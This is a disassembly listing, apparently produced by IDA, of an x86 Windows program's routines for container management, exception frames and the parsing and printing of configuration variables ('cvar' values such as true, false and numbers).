=============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 5DCh nop call near ptr 2821DE2h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, 